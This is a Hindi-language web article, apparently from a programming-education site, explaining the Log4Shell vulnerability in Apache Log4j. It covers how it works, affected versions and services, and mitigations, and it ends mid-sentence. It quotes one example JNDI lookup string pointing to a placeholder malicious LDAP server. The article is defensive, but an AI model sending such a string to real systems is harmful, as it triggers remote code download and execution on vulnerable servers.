जावा लाइब्रेरी Log4j में गंभीर भेद्यता: लाखों अनुप्रयोगों के लिए खतरा

शुरुआती लोगों के लिए ऑनलाइन Python प्रशिक्षक

Python आसानी से सीखें बिना सिद्धांत के बोझ के। स्वचालित जांच के साथ व्यावहारिक कार्य हल करें और ब्राउज़र में सीधे कोड लिखें।

पाठ्यक्रम शुरू करें

जावा लाइब्रेरी Log4j में गंभीर भेद्यता: हर डेवलपर को क्या जानना चाहिए



दिसंबर 2021 की शुरुआत में, सूचना सुरक्षा की दुनिया Apache Log4j में एक गंभीर भेद्यता की खोज की खबर से हिल गई थी - जो जावा में लॉगिंग के लिए सबसे लोकप्रिय लाइब्रेरी में से एक है। इस भेद्यता को पहचानकर्ता CVE-2021-44228 और अनौपचारिक नाम Log4Shell दिया गया है, जो दुनिया भर में लाखों जावा अनुप्रयोगों के लिए एक गंभीर खतरा है।



समस्या का सार

Log4j का उपयोग लगभग हर जगह किया जाता है: कॉर्पोरेट सर्वर समाधान से लेकर क्लाउड सेवाओं और गेम तक। यह भेद्यता हमलावर को सर्वर पर मनमाना दूरस्थ कोड निष्पादित करने की अनुमति देती है, बस लॉग में एक विशेष रूप से तैयार स्ट्रिंग भेजकर। उदाहरण के लिए, ऐसी स्ट्रिंग HTTP हेडर User-Agent या डेटा इनपुट फ़ील्ड के माध्यम से प्रेषित की जा सकती है। Log4j में निर्मित JNDI (Java Naming and Directory Interface) तंत्र ${jndi:ldap://दुर्भावनापूर्ण_सर्वर/एक्सप्लॉइट} जैसे अनुरोधों को संसाधित करता है, जिससे दुर्भावनापूर्ण कोड डाउनलोड और निष्पादित होता है।



खतरे का पैमाना

  • CVSS मूल्यांकन: 10.0 (अधिकतम गंभीरता स्तर)
  • प्रभावित संस्करण: Log4j 2.0 — 2.14.1 (सम्मिलित)
  • प्रभावित सेवाएँ: Minecraft, iCloud, Steam, Twitter (खोज के समय), साथ ही हजारों कॉर्पोरेट सिस्टम
  • प्रभावित अनुप्रयोगों की संख्या: विशेषज्ञों के अनुसार, 100 मिलियन से अधिक


भेद्यता व्यवहार में कैसे काम करती है

हमलावर सर्वर को एक अनुरोध भेजता है जिसमें किसी भी फ़ील्ड में एक दुर्भावनापूर्ण स्ट्रिंग होती है जिसे लॉग किया जाता है। Log4j, संदेश को संसाधित करते हुए, JNDI अनुरोध से मान प्रतिस्थापित करता है, दूरस्थ LDAP सर्वर से एक क्लास लोड करता है और उसे निष्पादित करता है। इस प्रकार, हमलावर को सर्वर पर पूर्ण नियंत्रण मिल जाता है: वह डेटा चुरा सकता है, बैकडोर स्थापित कर सकता है, क्रिप्टोकरेंसी माइनर चला सकता है या आगे के हमलों के लिए सर्वर का उपयोग कर सकता है।



डेवलपर्स को क्या करना चाहिए

  • तुरंत Log4j को संस्करण 2.17.0 (Java 8 और उससे ऊपर के लिए) या 2.12.3 (Java 7 के लिए) में अपडेट करें। इन संस्करणों में सुधार शामिल हैं।
  • अस्थायी सुरक्षा के लिए संस्करण 2.10+ में JNDI लुकअप फ़ंक्शन को अक्षम किया जा सकता है: पैरामीटर log4j2.formatMsgNoLookups=true सेट करें या JAR फ़ाइल से JndiLookup.class क्लास हटा दें।
  • प्रोजेक्ट की सभी निर्भरताओं की जाँच करें — Log4j अन्य लाइब्रेरी (जैसे, Spring Boot, Apache Struts, Elasticsearch) के माध्यम से अप्रत्यक्ष निर्भरता हो सकती है।
  • इंट्रूज़न डिटेक्शन सिस्टम (IDS) और संदिग्ध JNDI अनुरोधों के लिए लॉग मॉनिटरिंग लागू करें।
  • प्रोडक्शन में चल रहे सभी जावा अनुप्रयोगों का सुरक्षा ऑडिट करें।


निष्कर्ष

Log4Shell भेद्यता जावा पारिस्थितिकी तंत्र के इतिहास में सबसे गंभीर घटनाओं में से एक बन गई है। इसने दिखाया कि सबसे लोकप्रिय लाइब्रेरी की सुरक्षा भी कितनी नाजुक हो सकती है। डेवलपर्स और प्रशासकों को तेजी से कार्य करने की आवश्यकता है: देरी का हर मिनट सिस्टम से समझौता होने के जोखिम को बढ़ाता है। निर्भरताओं का नियमित अपडेट, भेद्यता स्कैनर (जैसे, OWASP Dependency-C

अनुशंसित लाइब्रेरीज़